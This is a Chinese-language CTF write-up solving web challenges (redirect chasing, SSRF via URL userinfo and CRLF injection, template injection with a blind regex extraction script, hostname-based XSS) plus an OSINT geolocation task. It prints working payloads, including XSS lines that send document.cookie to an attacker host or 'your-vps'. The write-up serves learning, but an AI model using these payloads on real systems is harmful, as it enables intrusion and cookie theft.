上周末打了密歇根大学举办的一个CTF比赛,做了其中的Web题,发现考点比较新颖和有趣,于是写篇完整的探索记录

Warmup:Burp

一道纯靠burp的题目,这里不再多提 就是抓包然后不断看响应包里面的要求

<p>Found. Redirecting to <a href="/flag?count=1">/flag?count=1</a></p>

访问/flag?count=1

<p>Found. Redirecting to <a href="/?count=7">/?count=7</a></p>

转往?count=7即可获得flag

wsc{c00k1e5_yum!}

SSRF 101

文件结构

发现public.js里面的路由标识

可以看到这里面关键的点在于$path可控 我们先访问下题目中给的路由

可以看到我们拼接进来的端口1001 继续尝试用这个ssrf位点访问一下private2.js成功获取到flag 但是显而易见这题并不只有这种解法

注意拼接处的代码

const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)

我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可

最后payload

@localhost:10011/flag


可以看到在这里面访问get路由即可获取到flag 比较有意思的点是private2点端口比我们可控的端口多1 所以我们构造注入1/flag 即可成功访问private2里面的flag路由

https://wsc-2022-web-1-bvel4oasra-uc.a.run.app/ssrf?path=1/flag


成功获取到flag 但是显而易见这题并不只有这种解法

注意拼接处的代码

const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)

我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可

最后payload

@localhost:10011/flag

SSRF 301

这道题做了一些基础的防护,但很简单 只是检测我们输入第一个字符不能为数字

当然可以用我刚才提到的第二种解法

但如果你看过orange的ppt就会知道


可以使用%0D%0A换行注入我们的1/flag即可成功拿到flag

最后payload

https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag

Get flag wsc{url_synt4x_f0r_th3_w1n_hq32pl}

Java???

这道题是我觉得最有趣的一道题


在这里可以看到花括号包裹起来的数据我们可控 可以猜测可能是ssti


但这里用的模板引擎比较新颖 叫chunk-templates

继续往下看渲染点


他把flag用set存储起来了,现在我们需要的就是通过{$flag}给他渲染出来

但注意这里的preventRecursiveTags函数替换掉了 $符号,我们思路就是代替他 直接打断点debug可以看到


parsetag这里除了$ 还可以用~ 所以我们构造个{~flag}来获取到flag

很有趣是吧,但其实这题最有意思的点是可探索性很高,如果你以前接触过 twig模板

你就会发现它最强大的地方是他的过滤器

我们可以用url编码把我们的符号进行编码 然后再构造一个标签

{.{%24flag%7d|urldecode()}

https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D


可以看到能够成功带出flag

正是因为他的构造器多样 我们的思维还可以发散

如果你记得今年RealWorld的 RWDN 你应该想起来我们是如何通过.htaccess来读取任意文件的?

可以通过if语法盲注来匹配 而你只要仔细翻了chunk-templates的文档


你会发现他也刚好有这种语法

import re
import requests as req
from string import ascii_letters, digits, printable


d = 0
if d:
    url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
    proxies = {
        "http"  : 'http://127.0.0.1:8080',
        "https" : 'https://127.0.0.1:8080'
    }
else:
    url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
    proxies = {}

canary = 'test'
charset = printable[:-6].replace(",", "").replace("/", "")
flag = "wsc"
while not flag.endswith("}"):
    for _ in charset:
        tmp = flag + _
        payload = f'{{% if(flag=~/^{re.escape(tmp)}/) %}}{canary}{{% endif %}}'
        if d : print(payload)
        res = req.get(url+f'submit?name={req.utils.quote(payload)}', proxies=proxies)
        if "test" in res.text:
            flag += _
            print(flag.replace("\\", ""))
            break

通过正则匹配进行盲注 也是获得flag的好方法

XSS 401

又是一道有趣的题目,不像其他ctf考了很多bypass csp的技巧

因为代码文件单一我直接在这里贴出来

const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 3000

app.use(express.static(__dirname + '/webapp'))

const visitUrl = async (url, cookieDomain) => {
    let browser =
            await puppeteer.launch({
                headless: true,
                pipe: true,
                dumpio: true,
                ignoreHTTPSErrors: true,
                args: [
                    '--incognito',
                    '--no-sandbox',
                    '--disable-gpu',
                    '--disable-software-rasterizer',
                    '--disable-dev-shm-usage',
                ]
            })

    try {
        const ctx = await browser.createIncognitoBrowserContext()
        const page = await ctx.newPage()

        try {
            await page.setCookie({
                name: 'flag',
                value: process.env.FLAG,
                domain: cookieDomain,
                httpOnly: false,
                samesite: 'strict'
            })
            await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
        } finally {
            await page.close()
            await ctx.close()
        }
    }
    finally {
        browser.close()
    }
}

app.get('/visit', async (req, res) => {
    const url = req.query.url
    console.log('received url: ', url)

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        res.send(escape(e.message))
        return
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
        res.send('Please provide a URL with the http or https protocol.')
        return
    }

    if (parsedURL.hostname !== req.hostname) {
        res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
        return
    }

    try {
        console.log('visiting url: ', url)
        await visitUrl(url, req.hostname)
        res.send('Our admin bot has visited your URL!')
    } catch (e) {
        console.log('error visiting: ', url, ', ', e.message)
        res.send('Error visiting your URL: ' + escape(e.message))
    } finally {
        console.log('done visiting url: ', url)
    }

})

app.listen(port, async () => {
    console.log(`Listening on ${port}`)
})

关键问题点

if (parsedURL.hostname !== req.hostname) {
        res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
        return
    }

这里 可以看到$parsedURL.hostname是没经过任何处理的

我们可以尝试在这里加一些标签

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://%3Ch1%3Etest%3C/h1%3E


所以我们就要在这里面想办法插入xss 但是注意hostname的rfc标准

1.不能有空格 2.大小写会被统一转换 3.? # @ / \这些字符会破坏Hostname

其实payload有很多 你可以去terjanq的 博客去找 其实关键点在于bypass空格

翻阅了很多资料发现unicode字符可以代替

<svg%0Conload=alert()>

所以构造个这样类似的poc就可以

但是常规的我们的设想我们要通过一些windows.href类似的跳转拼接cookie 类似这样

window.location='https://attacker.com/?'+document.cookie

我一开始想到了一些编码形式比如base64 但是rfc标准大小写会被统一转换

所以我就想找一些类似切片的东西

location.hash.slice(1)

后来我队友发现这个可以取#之后的数据 拿我们再用eval来进行执行 ,在#后拼接,也就是在hostname外拼接我们的跳转payload即可

最后payload:

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie

最后成功get flag

OSINT-Where in the world

题目描述

Challenge Description: User Vividpineconepig claims on to live next to a street that's above some train tracks. Where are they? Maybe finding their social media could help. We’ll give you a flag for tracking them down. Give us this elevated STREETNAME preceding the St/Rd/Ave/Lane to prove it.

Format: wsc{STREETNAME}

这种社工题蛮有意思的

Vividpineconepig 是用户的名称。描述告诉我们,我们可能想要找到他们的社交媒体帐户。使用 Sherlock 之类的工具

在ins找到信息


然后就是获得这张图片分析 一开始我想直接使用google map之类的来寻找位置 发现根本没有下手点


这里我自己给自己挖了个坑 得知主办方是密歇根大学 我直接从这里入手,直到一位国外队友告诉我这种高速公路标志右边是蒙大拿州独有的,好吧 然后我们还有右边一个hint mile 280的标记

于是翻google地图 范围很小了

得到镇的名字是 Shelby, MT

通过远处的高架桥和火车轨道的推测


猜测是这个Oilfield街道

wsc{OILFIELD}

点击收藏 | 1 关注 | 1
登录 后跟帖